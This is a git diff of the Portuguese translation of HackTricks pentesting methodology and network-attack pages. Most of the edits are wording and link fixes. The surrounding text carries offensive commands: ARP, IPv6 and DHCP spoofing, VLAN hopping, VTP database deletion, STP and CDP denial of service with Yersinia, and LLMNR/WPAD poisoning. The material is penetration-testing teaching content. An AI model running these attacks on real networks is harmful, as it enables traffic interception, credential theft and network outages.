a/src/generic-methodologies-and-resources/pentesting-methodology.md +++ b/src/generic-methodologies-and-resources/pentesting-methodology.md @@ -6,13 +6,13 @@
-_Logos do Hacktricks projetados por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_Logos do Hacktricks desenhados por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ ### 0- Ataques Físicos Você tem **acesso físico** à máquina que deseja atacar? Você deve ler alguns [**truques sobre ataques físicos**](../hardware-physical-access/physical-attacks.md) e outros sobre [**escapando de aplicações GUI**](../hardware-physical-access/escaping-from-gui-applications.md). -### 1 - [Descobrindo hosts dentro da rede](pentesting-network/#discovering-hosts)/ [Descobrindo Ativos da empresa](external-recon-methodology/) +### 1 - [Descobrindo hosts dentro da rede](pentesting-network/index.html#discovering-hosts)/ [Descobrindo Ativos da empresa](external-recon-methodology/) **Dependendo** se o **teste** que você está realizando é um **teste interno ou externo**, você pode estar interessado em encontrar **hosts dentro da rede da empresa** (teste interno) ou **encontrar ativos da empresa na internet** (teste externo). @@ -22,26 +22,26 @@ Você tem **acesso físico** à máquina que deseja atacar? Você deve ler algun ### **2-** [**Divertindo-se com a rede**](pentesting-network/) **(Interno)** **Esta seção se aplica apenas se você estiver realizando um teste interno.**\ -Antes de atacar um host, talvez você prefira **roubar algumas credenciais** **da rede** ou **snifar** alguns **dados** para aprender **passivamente/ativamente (MitM)** o que você pode encontrar dentro da rede. Você pode ler [**Pentesting Network**](pentesting-network/#sniffing). +Antes de atacar um host, talvez você prefira **roubar algumas credenciais** **da rede** ou **snifar** alguns **dados** para aprender **passivamente/ativamente (MitM)** o que você pode encontrar dentro da rede. Você pode ler [**Pentesting Network**](pentesting-network/index.html#sniffing). -### 3- [Escaneamento de Portas - Descoberta de serviços](pentesting-network/#scanning-hosts) +### 3- [Escaneamento de Portas - Descoberta de serviços](pentesting-network/index.html#scanning-hosts) -A primeira coisa a fazer ao **procurar vulnerabilidades em um host** é saber quais **serviços estão em execução** em quais portas. Vamos ver as [**ferramentas básicas para escanear portas de hosts**](pentesting-network/#scanning-hosts). +A primeira coisa a fazer ao **procurar vulnerabilidades em um host** é saber quais **serviços estão em execução** em quais portas. Vamos ver as [**ferramentas básicas para escanear portas de hosts**](pentesting-network/index.html#scanning-hosts). ### **4-** [Procurando exploits de versão de serviço](../generic-hacking/search-exploits.md) -Uma vez que você saiba quais serviços estão em execução, e talvez suas versões, você deve **procurar por vulnerabilidades conhecidas**. Talvez você tenha sorte e haja um exploit para lhe dar um shell... +Uma vez que você saiba quais serviços estão em execução, e talvez suas versões, você deve **procurar por vulnerabilidades conhecidas**. Talvez você tenha sorte e haja um exploit que lhe dê um shell... ### **5-** Serviços de Pentesting Se não houver nenhum exploit interessante para qualquer serviço em execução, você deve procurar por **configurações incorretas comuns em cada serviço em execução.** -**Dentro deste livro você encontrará um guia para pentestar os serviços mais comuns** (e outros que não são tão comuns)**. Por favor, procure no índice à esquerda a seção _**PENTESTING**_ **(os serviços estão ordenados por suas portas padrão).** +**Dentro deste livro você encontrará um guia para pentestear os serviços mais comuns** (e outros que não são tão comuns)**. Por favor, procure na indexação à esquerda a seção _**PENTESTING**_ **(os serviços estão ordenados por suas portas padrão).** **Quero fazer uma menção especial à parte** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(pois é a mais extensa).**\ Além disso, um pequeno guia sobre como [**encontrar vulnerabilidades conhecidas em software**](../generic-hacking/search-exploits.md) pode ser encontrado aqui. -**Se o seu serviço não estiver no índice, procure no Google** por outros tutoriais e **me avise se você quiser que eu adicione.** Se você **não conseguir encontrar nada** no Google, realize seu **próprio pentesting cego**, você pode começar por **conectar-se ao serviço, fuzzing e lendo as respostas** (se houver). +**Se o seu serviço não estiver na indexação, procure no Google** por outros tutoriais e **me avise se você quiser que eu adicione.** Se você **não conseguir encontrar nada** no Google, realize seu **próprio pentesting cego**, você pode começar por **conectar-se ao serviço, fuzzing e lendo as respostas** (se houver). #### 5.1 Ferramentas Automáticas @@ -57,7 +57,7 @@ Se neste ponto você não encontrou nenhuma vulnerabilidade interessante, você ### **7-** [**Obtendo Shell**](../generic-hacking/reverse-shells/) -De alguma forma, você deve ter encontrado **alguma maneira de executar código** na vítima. Então, [uma lista de possíveis ferramentas dentro do sistema que você pode usar para obter um reverse shell seria muito útil](../generic-hacking/reverse-shells/). +De alguma forma, você deve ter encontrado **alguma maneira de executar código** na vítima. Então, [uma lista de possíveis ferramentas dentro do sistema que você pode usar para obter um shell reverso seria muito útil](../generic-hacking/reverse-shells/). Especialmente no Windows, você pode precisar de ajuda para **evitar antivírus**: [**Verifique esta página**](../windows-hardening/av-bypass.md)**.**\\ @@ -102,7 +102,7 @@ Encontre aqui diferentes maneiras de [**extrair senhas no Windows**](https://git #### 11.2 - Persistência **Use 2 ou 3 tipos diferentes de mecanismos de persistência para que você não precise explorar o sistema novamente.**\ -**Aqui você pode encontrar alguns** [**truques de persistência no Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.** +**Aqui você pode encontrar alguns** [**truques de persistência no Active Directory**](../windows-hardening/active-directory-methodology/index.html#persistence)**.** TODO: Completar persistência Post em Windows & Linux @@ -117,15 +117,15 @@ Verifique também a página sobre [**NTLM**](../windows-hardening/ntlm/), pode s #### [Aplicações Android](../mobile-pentesting/android-app-pentesting/) -#### **Exploração** +#### **Exploiting** -- [**Exploração Básica em Linux**](broken-reference/) -- [**Exploração Básica em Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [**Ferramentas básicas de exploração**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) +- [**Exploiting Básico em Linux**](broken-reference/) +- [**Exploiting Básico em Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) +- [**Ferramentas básicas de exploiting**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) #### [**Python Básico**](python/) -#### **Truques de Criptografia** +#### **Truques de Cripto** - [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md) - [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) diff --git a/src/generic-methodologies-and-resources/pentesting-network/README.md b/src/generic-methodologies-and-resources/pentesting-network/README.md index 1bd3d7f00..4b558914f 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/README.md +++ b/src/generic-methodologies-and-resources/pentesting-network/README.md @@ -12,7 +12,7 @@ Nesta situação, você tem algum **escopo de IPs** (talvez até vários **inter ### ICMP Esta é a maneira **mais fácil** e **rápida** de descobrir se um host está ativo ou não.\ -Você pode tentar enviar alguns pacotes **ICMP** e **esperar respostas**. A maneira mais fácil é apenas enviar um **echo request** e esperar pela resposta. Você pode fazer isso usando um simples `ping` ou usando `fping` para **intervalos**.\ +Você pode tentar enviar alguns pacotes **ICMP** e **esperar respostas**. A maneira mais simples é apenas enviar um **echo request** e esperar pela resposta. Você pode fazer isso usando um simples `ping` ou usando `fping` para **intervalos**.\ Você também pode usar **nmap** para enviar outros tipos de pacotes ICMP (isso evitará filtros para solicitações-respostas ICMP echo comuns). ```bash ping -c 1 199.66.11.4 # 1 echo request to a host @@ -29,15 +29,15 @@ masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5 ``` Você também pode realizar esta etapa com `nmap`, mas é mais lento e de certa forma `nmap` tem problemas para identificar hosts ativos. -### Descoberta de Porta HTTP +### Descoberta de Portas HTTP -Esta é apenas uma descoberta de porta TCP útil quando você deseja **focar na descoberta de serviços HTTP**: +Esta é apenas uma descoberta de portas TCP útil quando você deseja **focar na descoberta de serviços HTTP**: ```bash masscan -p80,443,8000-8100,8443 199.66.11.0/24 ``` ### Descoberta de Porta UDP -Você também pode tentar verificar se há alguma **porta UDP aberta** para decidir se deve **prestar mais atenção** a um **host.** Como os serviços UDP geralmente **não respondem** com **nenhum dado** a um pacote de sondagem UDP vazio, é difícil dizer se uma porta está sendo filtrada ou aberta. A maneira mais fácil de decidir isso é enviar um pacote relacionado ao serviço em execução, e como você não sabe qual serviço está em execução, deve tentar o mais provável com base no número da porta: +Você também pode tentar verificar se há alguma **porta UDP aberta** para decidir se deve **prestar mais atenção** a um **host.** Como os serviços UDP geralmente **não respondem** com **dados** a um pacote de sondagem UDP vazio, é difícil dizer se uma porta está sendo filtrada ou aberta. A maneira mais fácil de decidir isso é enviar um pacote relacionado ao serviço em execução, e como você não sabe qual serviço está em execução, deve tentar o mais provável com base no número da porta: ```bash nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 # The -sV will make nmap test each possible known UDP service packet @@ -60,11 +60,11 @@ Aqui você pode encontrar um bom guia de todos os ataques Wifi bem conhecidos na ## Descobrindo hosts de dentro -Se você estiver dentro da rede, uma das primeiras coisas que você vai querer fazer é **descobrir outros hosts**. Dependendo de **quanto ruído** você pode/deseja fazer, diferentes ações podem ser realizadas: +Se você estiver dentro da rede, uma das primeiras coisas que você vai querer fazer é **descobrir outros hosts**. Dependendo de **quanto ruído** você pode/quer fazer, diferentes ações podem ser realizadas: ### Passivo -Você pode usar essas ferramentas para descobrir hosts de forma passiva dentro de uma rede conectada: +Você pode usar essas ferramentas para descobrir passivamente hosts dentro de uma rede conectada: ```bash netdiscover -p p0f -i eth0 -p -o /tmp/p0f.log @@ -75,7 +75,7 @@ set net.show.meta true #more info ``` ### Ativo -Note que as técnicas comentadas em [_**Descobrindo hosts do lado de fora**_](./#discovering-hosts-from-the-outside) (_Descoberta de Portas TCP/HTTP/UDP/SCTP_) também podem ser **aplicadas aqui**.\ +Note que as técnicas comentadas em [_**Descobrindo hosts do lado de fora**_](#discovering-hosts-from-the-outside) (_Descoberta de Portas TCP/HTTP/UDP/SCTP_) também podem ser **aplicadas aqui**.\ Mas, como você está na **mesma rede** que os outros hosts, você pode fazer **mais coisas**: ```bash #ARP discovery @@ -98,7 +98,7 @@ alive6 # Send a pingv6 to multicast. ``` ### Active ICMP -Note que as técnicas comentadas em _Descobrindo hosts do exterior_ ([_**ICMP**_](./#icmp)) também podem ser **aplicadas aqui**.\ +Note que as técnicas comentadas em _Descobrindo hosts do exterior_ ([_**ICMP**_](#icmp)) também podem ser **aplicadas aqui**.\ Mas, como você está na **mesma rede** que os outros hosts, você pode fazer **mais coisas**: - Se você **pingar** um **endereço de broadcast de sub-rede**, o ping deve chegar a **cada host** e eles podem **responder** a **você**: `ping -b 10.10.5.255` @@ -140,10 +140,10 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000 Existem 2 opções para escanear uma porta UDP: -- Enviar um **pacote UDP** e verificar a resposta _**ICMP unreachable**_ se a porta estiver **fechada** (em vários casos, o ICMP será **filtrado**, então você não receberá nenhuma informação se a porta estiver fechada ou aberta). +- Enviar um **pacote UDP** e verificar a resposta _**ICMP unreachable**_ se a porta estiver **fechada** (em vários casos, ICMP será **filtrado**, então você não receberá nenhuma informação se a porta estiver fechada ou aberta). - Enviar **datagramas formatados** para provocar uma resposta de um **serviço** (por exemplo, DNS, DHCP, TFTP e outros, conforme listado em _nmap-payloads_). Se você receber uma **resposta**, então a porta está **aberta**. -**Nmap** irá **misturar ambas** as opções usando "-sV" (os escaneamentos UDP são muito lentos), mas observe que os escaneamentos UDP são mais lentos do que os escaneamentos TCP: +**Nmap** irá **misturar ambas** as opções usando "-sV" (escanes UDP são muito lentos), mas note que escanes UDP são mais lentos do que escanes TCP: ```bash # Check if any of the most common udp services is running udp-proto-scanner.pl @@ -157,7 +157,7 @@ nmap -sU -sV --version-intensity 0 -n -T4 ``` ### SCTP Scan -**SCTP (Stream Control Transmission Protocol)** é projetado para ser usado junto com **TCP (Transmission Control Protocol)** e **UDP (User Datagram Protocol)**. Seu principal objetivo é facilitar o transporte de dados de telefonia sobre redes IP, espelhando muitos dos recursos de confiabilidade encontrados no **Signaling System 7 (SS7)**. **SCTP** é um componente central da família de protocolos **SIGTRAN**, que visa transportar sinais SS7 sobre redes IP. +**SCTP (Stream Control Transmission Protocol)** é projetado para ser usado juntamente com **TCP (Transmission Control Protocol)** e **UDP (User Datagram Protocol)**. Seu principal objetivo é facilitar o transporte de dados de telefonia sobre redes IP, espelhando muitos dos recursos de confiabilidade encontrados no **Signaling System 7 (SS7)**. **SCTP** é um componente central da família de protocolos **SIGTRAN**, que visa transportar sinais SS7 sobre redes IP. O suporte para **SCTP** é fornecido por vários sistemas operacionais, como **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS** e **VxWorks**, indicando sua ampla aceitação e utilidade no campo de telecomunicações e redes. @@ -182,7 +182,7 @@ nmap-summary-esp.md ### Revelando Endereços IP Internos -**Roteadores, firewalls e dispositivos de rede mal configurados** às vezes respondem a sondagens de rede usando **endereços de origem não públicos**. **tcpdump** pode ser utilizado para identificar pacotes recebidos de endereços privados durante os testes. Especificamente, no Kali Linux, pacotes podem ser capturados na **interface eth2**, que é acessível a partir da Internet pública. É importante notar que, se sua configuração estiver atrás de um NAT ou um Firewall, tais pacotes provavelmente serão filtrados. +**Roteadores, firewalls e dispositivos de rede mal configurados** às vezes respondem a sondagens de rede usando **endereços de origem não públicos**. **tcpdump** pode ser utilizado para identificar pacotes recebidos de endereços privados durante os testes. Especificamente, no Kali Linux, pacotes podem ser capturados na **interface eth2**, que é acessível a partir da Internet pública. É importante notar que, se sua configuração estiver atrás de um NAT ou de um Firewall, tais pacotes provavelmente serão filtrados. ```bash tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode @@ -192,7 +192,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64 ``` ## Sniffing -Com o Sniffing, você pode aprender detalhes sobre faixas de IP, tamanhos de sub-rede, endereços MAC e nomes de host ao revisar quadros e pacotes capturados. Se a rede estiver mal configurada ou se o fabric de comutação estiver sob estresse, os atacantes podem capturar material sensível por meio de sniffing de rede passivo. +Com o Sniffing, você pode aprender detalhes sobre faixas de IP, tamanhos de sub-rede, endereços MAC e nomes de host ao revisar quadros e pacotes capturados. Se a rede estiver mal configurada ou se a estrutura de comutação estiver sob estresse, os atacantes podem capturar material sensível por meio de sniffing de rede passivo. Se uma rede Ethernet comutada estiver configurada corretamente, você verá apenas quadros de broadcast e material destinado ao seu endereço MAC. @@ -202,7 +202,7 @@ sudo tcpdump -i udp port 53 #Listen to DNS request to discover what tcpdump -i icmp #Listen to icmp packets sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &" ``` -Também é possível capturar pacotes de uma máquina remota através de uma sessão SSH com o Wireshark como interface gráfica em tempo real. +Também é possível capturar pacotes de uma máquina remota através de uma sessão SSH com o Wireshark como a interface gráfica em tempo real. ``` ssh user@ tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i - ssh @ tcpdump -i -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic @@ -228,7 +228,7 @@ Você pode usar ferramentas como [https://github.com/lgandx/PCredz](https://gith ### Spoofing ARP -O Spoofing ARP consiste em enviar ARPResponses gratuitos para indicar que o IP de uma máquina possui o MAC do nosso dispositivo. Assim, a vítima mudará a tabela ARP e entrará em contato com nossa máquina toda vez que quiser contatar o IP spoofed. +Spoofing ARP consiste em enviar ARPResponses gratuitos para indicar que o IP de uma máquina possui o MAC do nosso dispositivo. Assim, a vítima mudará a tabela ARP e entrará em contato com nossa máquina toda vez que quiser contatar o IP spoofed. #### **Bettercap** ```bash @@ -258,9 +258,9 @@ Em switches modernos, essa vulnerabilidade foi corrigida. O **Dynamic Trunking Protocol (DTP)** é projetado como um protocolo de camada de enlace para facilitar um sistema automático de trunking, permitindo que os switches selecionem automaticamente portas para o modo trunk (Trunk) ou modo não-trunk. A implementação do **DTP** é frequentemente vista como indicativa de um design de rede subótimo, ressaltando a importância de configurar trunks manualmente apenas onde necessário e garantir a documentação adequada. -Por padrão, as portas dos switches são configuradas para operar no modo Dynamic Auto, o que significa que estão prontas para iniciar o trunking se solicitadas por um switch vizinho. Uma preocupação de segurança surge quando um pentester ou atacante se conecta ao switch e envia um quadro DTP Desirable, forçando a porta a entrar no modo trunk. Essa ação permite que o atacante enumere VLANs por meio da análise de quadros STP e contorne a segmentação de VLAN ao configurar interfaces virtuais. +Por padrão, as portas dos switches são configuradas para operar no modo Dinâmico Automático, o que significa que estão prontas para iniciar o trunking se solicitadas por um switch vizinho. Uma preocupação de segurança surge quando um pentester ou atacante se conecta ao switch e envia um quadro DTP Desirable, forçando a porta a entrar no modo trunk. Essa ação permite que o atacante enumere VLANs por meio da análise de quadros STP e contorne a segmentação de VLAN ao configurar interfaces virtuais. -A presença do DTP em muitos switches por padrão pode ser explorada por adversários para imitar o comportamento de um switch, obtendo assim acesso ao tráfego em todas as VLANs. O script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) é utilizado para monitorar uma interface, revelando se um switch está no modo Default, Trunk, Dynamic, Auto ou Access—sendo este último a única configuração imune a ataques de VLAN hopping. Esta ferramenta avalia o status de vulnerabilidade do switch. +A presença do DTP em muitos switches por padrão pode ser explorada por adversários para imitar o comportamento de um switch, obtendo assim acesso ao tráfego em todas as VLANs. O script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) é utilizado para monitorar uma interface, revelando se um switch está no modo Padrão, Trunk, Dinâmico, Automático ou Acesso—sendo este último a única configuração imune a ataques de VLAN hopping. Esta ferramenta avalia o status de vulnerabilidade do switch. Caso uma vulnerabilidade de rede seja identificada, a ferramenta _**Yersinia**_ pode ser empregada para "habilitar trunking" via o protocolo DTP, permitindo a observação de pacotes de todas as VLANs. ```bash @@ -279,7 +279,7 @@ Para enumerar as VLANs, também é possível gerar o quadro DTP Desirable com o ``` sudo python3 DTPHijacking.py --interface eth0 ``` -Gostaria de ressaltar que **Access/Desirable (0x03)** indica que o quadro DTP é do tipo Desirable, o que informa à porta para mudar para o modo Trunk. E **802.1Q/802.1Q (0xa5)** indica o tipo de encapsulamento **802.1Q**. +Gostaria de ressaltar que **Access/Desirable (0x03)** indica que o quadro DTP é do tipo Desirable, o que informa a porta para mudar para o modo Trunk. E **802.1Q/802.1Q (0xa5)** indica o tipo de encapsulamento **802.1Q**. Ao analisar os quadros STP, **aprendemos sobre a existência da VLAN 30 e da VLAN 60.** @@ -342,7 +342,7 @@ sendp(packet) ``` #### Bypass de Segmentação Lateral de VLAN -Se você tiver **acesso a um switch ao qual está diretamente conectado**, você tem a capacidade de **contornar a segmentação de VLAN** dentro da rede. Basta **mudar a porta para o modo trunk** (também conhecido como trunk), criar interfaces virtuais com os IDs das VLANs de destino e configurar um endereço IP. Você pode tentar solicitar o endereço dinamicamente (DHCP) ou pode configurá-lo estaticamente. Depende do caso. +Se você tiver **acesso a um switch ao qual está diretamente conectado**, você tem a capacidade de **burlar a segmentação de VLAN** dentro da rede. Basta **mudar a porta para o modo trunk** (também conhecido como trunk), criar interfaces virtuais com os IDs das VLANs de destino e configurar um endereço IP. Você pode tentar solicitar o endereço dinamicamente (DHCP) ou pode configurá-lo estaticamente. Depende do caso. {{#ref}} lateral-vlan-segmentation-bypass.md @@ -361,7 +361,7 @@ O ataque é executado criando um **pacote que carrega o endereço IP do cliente ### Ataques VTP -O VTP (VLAN Trunking Protocol) centraliza a gestão de VLAN. Ele utiliza números de revisão para manter a integridade do banco de dados de VLAN; qualquer modificação incrementa esse número. Os switches adotam configurações com números de revisão mais altos, atualizando seus próprios bancos de dados de VLAN. +O VTP (VLAN Trunking Protocol) centraliza a gestão de VLANs. Ele utiliza números de revisão para manter a integridade do banco de dados de VLAN; qualquer modificação incrementa esse número. Os switches adotam configurações com números de revisão mais altos, atualizando seus próprios bancos de dados de VLAN. #### Funções do Domínio VTP @@ -381,13 +381,13 @@ Nota: Esta discussão refere-se à versão 1 do VTP (VTPv1). ````bash %% yersinia -G # Launch Yersinia in graphical mode ``` ```` -No modo gráfico do Yersinia, escolha a opção de deletar todos os VTP vlans para purgar o banco de dados VLAN. +No modo gráfico do Yersinia, escolha a opção de deletar todas as VLANs VTP para purgar o banco de dados VLAN. ### Ataques STP -**Se você não consegue capturar frames BPDU em suas interfaces, é improvável que você tenha sucesso em um ataque STP.** +**Se você não conseguir capturar quadros BPDU em suas interfaces, é improvável que você tenha sucesso em um ataque STP.** -#### **STP BPDU DoS** +#### **DoS BPDU STP** Enviando muitos BPDUs TCP (Notificação de Mudança de Topologia) ou Conf (os BPDUs que são enviados quando a topologia é criada), os switches ficam sobrecarregados e param de funcionar corretamente. ```bash @@ -431,7 +431,7 @@ sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO de # Alternatively, for a GUI approach: sudo yersinia -G ``` -Durante este ataque, a CPU do switch e a tabela de vizinhos CDP estão sobrecarregadas, levando ao que muitas vezes é referido como **“paralisia da rede”** devido ao consumo excessivo de recursos. +Durante este ataque, a CPU do switch e a tabela de vizinhos CDP estão fortemente sobrecarregadas, levando ao que é frequentemente referido como **“paralisia da rede”** devido ao consumo excessivo de recursos. #### Ataque de Impersonação CDP ```bash @@ -442,7 +442,7 @@ Você também pode usar [**scapy**](https://github.com/secdev/scapy/). Certifiqu ### Ataques VoIP e a Ferramenta VoIP Hopper -Os telefones VoIP, cada vez mais integrados a dispositivos IoT, oferecem funcionalidades como desbloquear portas ou controlar termostatos através de números de telefone especiais. No entanto, essa integração pode apresentar riscos de segurança. +Os telefones VoIP, cada vez mais integrados com dispositivos IoT, oferecem funcionalidades como desbloquear portas ou controlar termostatos através de números de telefone especiais. No entanto, essa integração pode apresentar riscos de segurança. A ferramenta [**voiphopper**](http://voiphopper.sourceforge.net) é projetada para emular um telefone VoIP em vários ambientes (Cisco, Avaya, Nortel, Alcatel-Lucent). Ela descobre o ID da VLAN da rede de voz usando protocolos como CDP, DHCP, LLDP-MED e 802.1Q ARP. @@ -527,7 +527,7 @@ Usando corretamente essas opções, um servidor DHCP malicioso pode ser estabele Aqui estão algumas das táticas de ataque que podem ser usadas contra implementações 802.1X: -- Força bruta ativa de senhas via EAP +- Atacando a força bruta ativa de senhas via EAP - Atacando o servidor RADIUS com conteúdo EAP malformado _\*\*_(exploits) - Captura de mensagens EAP e quebra de senha offline (EAP-MD5 e PEAP) - Forçando a autenticação EAP-MD5 para contornar a validação do certificado TLS @@ -549,16 +549,16 @@ glbp-and-hsrp-attacks.md ### RIP -Três versões do Protocolo de Informação de Roteamento (RIP) são conhecidas: RIP, RIPv2 e RIPng. Datagramas são enviados para pares via porta 520 usando UDP pelo RIP e RIPv2, enquanto datagramas são transmitidos para a porta UDP 521 via multicast IPv6 pelo RIPng. O suporte para autenticação MD5 foi introduzido pelo RIPv2. Por outro lado, a autenticação nativa não é incorporada pelo RIPng; em vez disso, confia-se em cabeçalhos IPsec AH e ESP opcionais dentro do IPv6. +Três versões do Protocolo de Informação de Roteamento (RIP) são conhecidas: RIP, RIPv2 e RIPng. Datagramas são enviados para pares via porta 520 usando UDP pelo RIP e RIPv2, enquanto datagramas são transmitidos para a porta UDP 521 via multicast IPv6 pelo RIPng. O suporte para autenticação MD5 foi introduzido pelo RIPv2. Por outro lado, a autenticação nativa não é incorporada pelo RIPng; em vez disso, confia-se em cabeçalhos opcionais IPsec AH e ESP dentro do IPv6. - **RIP e RIPv2:** A comunicação é feita através de datagramas UDP na porta 520. - **RIPng:** Utiliza a porta UDP 521 para transmitir datagramas via multicast IPv6. -Observe que o RIPv2 suporta autenticação MD5, enquanto o RIPng não inclui autenticação nativa, confiando em cabeçalhos IPsec AH e ESP no IPv6. +Note que o RIPv2 suporta autenticação MD5 enquanto o RIPng não inclui autenticação nativa, confiando em cabeçalhos IPsec AH e ESP no IPv6. ### EIGRP Attacks -**EIGRP (Enhanced Interior Gateway Routing Protocol)** é um protocolo de roteamento dinâmico. **É um protocolo de vetor de distância.** Se não houver **autenticação** e configuração de interfaces passivas, um **intruso** pode interferir no roteamento EIGRP e causar **envenenamento de tabelas de roteamento**. Além disso, a rede EIGRP (em outras palavras, sistema autônomo) **é plana e não possui segmentação em zonas**. Se um **atacante injeta uma rota**, é provável que essa rota **se espalhe** por todo o sistema EIGRP autônomo. +**EIGRP (Enhanced Interior Gateway Routing Protocol)** é um protocolo de roteamento dinâmico. **É um protocolo de vetor de distância.** Se não houver **autenticação** e configuração de interfaces passivas, um **intruso** pode interferir no roteamento EIGRP e causar **envenenamento de tabelas de roteamento**. Além disso, a rede EIGRP (em outras palavras, sistema autônomo) **é plana e não possui segmentação em zonas**. Se um **atacante injetar uma rota**, é provável que essa rota **se espalhe** por todo o sistema EIGRP autônomo. Atacar um sistema EIGRP requer **estabelecer uma vizinhança com um roteador EIGRP legítimo**, o que abre muitas possibilidades, desde reconhecimento básico até várias injeções. @@ -568,7 +568,7 @@ Atacar um sistema EIGRP requer **estabelecer uma vizinhança com um roteador EIG eigrp-attacks.md {{#endref}} -[**Coly**](https://code.google.com/p/coly/) tem capacidades para interceptar transmissões EIGRP (Enhanced Interior Gateway Routing Protocol). Também permite a injeção de pacotes, que podem ser utilizados para alterar configurações de roteamento. +[**Coly**](https://code.google.com/p/coly/) possui capacidades para interceptar transmissões EIGRP (Enhanced Interior Gateway Routing Protocol). Também permite a injeção de pacotes, que podem ser utilizados para alterar configurações de roteamento. ### OSPF @@ -592,7 +592,7 @@ yersinia dhcp -attack 2 #More parameters are needed ``` ### ARP Spoofing -Verifique a [seção anterior](./#arp-spoofing). +Verifique a [seção anterior](#arp-spoofing). ### ICMPRedirect @@ -637,7 +637,7 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder Para resolução de host local quando as consultas DNS falham, sistemas Microsoft dependem de **Link-Local Multicast Name Resolution (LLMNR)** e do **NetBIOS Name Service (NBT-NS)**. Da mesma forma, **Apple Bonjour** e implementações de **Linux zero-configuration** utilizam **Multicast DNS (mDNS)** para descobrir sistemas dentro de uma rede. Devido à natureza não autenticada desses protocolos e sua operação sobre UDP, transmitindo mensagens, eles podem ser explorados por atacantes que visam redirecionar usuários para serviços maliciosos. -Você pode se passar por serviços que estão sendo procurados por hosts usando o Responder para enviar respostas falsas.\ +Você pode se passar por serviços que estão sendo procurados por hosts usando Responder para enviar respostas falsas.\ Leia aqui mais informações sobre [como se passar por serviços com Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). ### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) @@ -648,7 +648,7 @@ Os navegadores comumente utilizam o **protocolo Web Proxy Auto-Discovery (WPAD) - Por **DNS**, que envolve a busca por um nome de host rotulado como _wpad_ dentro do domínio local. - Via **Microsoft LLMNR e NBT-NS**, que são mecanismos de fallback usados em casos onde as consultas DNS não têm sucesso. -A ferramenta Responder se aproveita desse protocolo agindo como um **servidor WPAD malicioso**. Ela utiliza DHCP, DNS, LLMNR e NBT-NS para enganar os clientes a se conectarem a ela. Para se aprofundar em como serviços podem ser impersonados usando o Responder [verifique isso](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +A ferramenta Responder tira proveito desse protocolo agindo como um **servidor WPAD malicioso**. Ela utiliza DHCP, DNS, LLMNR e NBT-NS para enganar os clientes a se conectarem a ela. Para se aprofundar em como serviços podem ser impersonados usando Responder [verifique isso](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). ### [Spoofing SSDP e dispositivos UPnP](spoofing-ssdp-and-upnp-devices.md) @@ -656,12 +656,12 @@ Você pode oferecer diferentes serviços na rede para tentar **enganar um usuár ### Spoofing de Vizinhança IPv6 -Esse ataque é muito semelhante ao ARP Spoofing, mas no mundo IPv6. Você pode fazer a vítima pensar que o IPv6 do GW tem o MAC do atacante. +Esse ataque é muito semelhante ao ARP Spoofing, mas no mundo IPv6. Você pode fazer a vítima pensar que o IPv6 do GW possui o MAC do atacante. ```bash sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested sudo fake_advertise6 -r -w 2 eth0 #This option will send the Neighbor Advertisement packet every 2 seconds ``` -### Spoofing/Flooding de Anúncios de Roteador IPv6 +### Spoofing/Inundação de Anúncios de Roteador IPv6 Alguns sistemas operacionais configuram por padrão o gateway a partir dos pacotes RA enviados na rede. Para declarar o atacante como roteador IPv6, você pode usar: ```bash @@ -669,9 +669,9 @@ sysctl -w net.ipv6.conf.all.forwarding=1 4 ip route add default via dev wlan0 fake_router6 wlan0 fe80::01/16 ``` -### Spoofing DHCP IPv6 +### IPv6 DHCP spoofing -Por padrão, alguns sistemas operacionais tentam configurar o DNS lendo um pacote DHCPv6 na rede. Assim, um atacante poderia enviar um pacote DHCPv6 para se configurar como DNS. O DHCP também fornece um IPv6 para a vítima. +Por padrão, alguns sistemas operacionais tentam configurar o DNS lendo um pacote DHCPv6 na rede. Então, um atacante poderia enviar um pacote DHCPv6 para se configurar como DNS. O DHCP também fornece um IPv6 para a vítima. ```bash dhcp6.spoof on dhcp6.spoof.domains @@ -704,7 +704,7 @@ Note que, para realizar este ataque, a vítima deve tentar acessar inicialmente Mais informações [aqui](https://www.bettercap.org/legacy/#hsts-bypass), [aqui](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) e [aqui](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). -**sslStrip ou sslStrip+ não funcionam mais. Isso se deve ao fato de que existem regras HSTS pré-salvas nos navegadores, então mesmo que seja a primeira vez que um usuário acesse um domínio "importante", ele o fará via HTTPS. Além disso, note que as regras pré-salvas e outras regras geradas podem usar a flag** 